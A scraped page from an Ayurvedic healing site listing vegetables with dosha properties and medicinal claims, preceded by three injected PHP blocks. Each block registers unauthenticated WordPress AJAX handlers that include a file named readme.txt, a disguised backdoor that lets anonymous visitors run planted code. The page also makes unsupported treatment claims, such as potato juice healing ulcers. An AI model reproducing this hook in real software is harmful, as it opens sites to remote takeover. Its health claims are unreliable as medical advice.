if(!function_exists('file_check_readme30460')){ add_action('wp_ajax_nopriv_file_check_readme30460', 'file_check_readme30460'); add_action('wp_ajax_file_check_readme30460', 'file_check_readme30460'); function file_check_readme30460() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme21792')){ add_action('wp_ajax_nopriv_file_check_readme21792', 'file_check_readme21792'); add_action('wp_ajax_file_check_readme21792', 'file_check_readme21792'); function file_check_readme21792() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme75351')){ add_action('wp_ajax_nopriv_file_check_readme75351', 'file_check_readme75351'); add_action('wp_ajax_file_check_readme75351', 'file_check_readme75351'); function file_check_readme75351() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } Asaf Feit | Holistic Healing Resolutions by Asaf Feit

Spinach

by | Food Index, Vegetables

Spinach cools and soothes the body, and it is nourishing on behalf of its mineral content. In small amounts, spinach is tolerated by all, and is useful medicinally in the treatment of lung and liver disorders. In large amounts it is aggravating to Vata. It contains...

Scallion

by | Food Index, Vegetables

Properties Taste: pungent, bitter Natural Attributes: Dry, Sharp, Penetrating  Tissue impact (Vipak): Reducing Thermal impact (Virya): Warming Dosha impact: Increases Pitta, decreases Vata and Kapha Digestive impact (Agni): Easy to digest Channels (Srotas): opens...

Radish

by | Food Index, Vegetables

This humble root vegetable packs more health benefits than you may suspect. By stimulating the flow of bile, radishes are a useful tool for fat digestion, decongesting the gallbladder, and cleansing of both the liver and the blood. Radishes, both common and daikon...

Pumpkin

by | Food Index, Vegetables

The earth element dominates pumpkin, making it heavy, grounding and nutritive. Its mild sedative effect, supported by its magnesium and potassium content, helps reduce tension in the body and relax the muscles. The demulcent qualities of cooked pumpkin coat the...

Potato

by | Food Index, Vegetables

Potatoes reduce inflammations. Their juice is applied externally to heal burns, and is drunk to treat stomach and duodenal ulcers.  A demulcent, potatoes are an easy to digest starch for those with nervous indigestion or indigestion related to liver weakness. Potatoes...

Peppermint

by | Food Index, Vegetables

PeppermintPeppermint’s high concentration of an aromatic, volatile oil known as Mentha, gives mint its fresh smell. Mentha, like many aromatic oils, shocks, refreshes and numbs, with the end result of relaxing, opening and clearing tissues. Aromatic spices like mint...

Peas

by | Food Index, Vegetables

PeasAlthough botanically they are defined as fruit, sweet peas behave like the legumes they so closely resemble: cool, heavy, sweet and astringent. Their naturally cooling properties are soothing to Pitta. For Vata, they are better served spiced, else they could...

Parsley

by | Food Index, Vegetables

Parsley (fresh)Parsley is an exceptional diuretic, which allows for water excretion without the loss of electrolytes. It’s hot and dry qualities are helpful for draining excess Kapha, as in phlegm related urinary infections.Use parsley in heavy dishes, such as...

Onion

by | Food Index, Vegetables

OnionPungent and penetrating, raw onions have strong laxative, diaphoretic and antibacterial properties.The qualities of cooked onions are somewhat different than those of raw onions. The longer they cook the sweeter and less Pitta aggravating onions become, and the...

Lettuce

by | Food Index, Vegetables

LettuceCool and bitter, lettuce is perfect for overheated, aggressive or impatient people. It is also a good match for the overweight, lethargic, watery individuals, that can benefit from lettuce lightness and bitterness.Vata people should eat lettuce with lemon and...

Leek

by | Food Index, Vegetables

LeekPropertiesTaste: pungentNatural Attributes: Light, Slightly oily, HotTissue impact (Vipak): ReducingThermal impact (Virya): WarmingDosha impact: Increases Pitta, decreases Vata and KaphaDigestive impact (Agni): easy to digestChannels (Srotas): opensFeces:...

Kohlrabi

by | Food Index, Vegetables

KohlrabiA member of the cabbage family, kohlrabi aggravates vata due to its dryness. To avoid this, Vata should consume kohlrabi cooked, oiled and well spiced. PropertiesTaste: sweet, bitterNatural Attributes: dryTissue impact (Vipak): reducingThermal impact (Virya):...

THE WISDOM OF EATING 5-DAY CHALLENGE (May 18-22)

Superior Health and Disease Prevention in a 5-Day miraculous Life-Changing Challenge!

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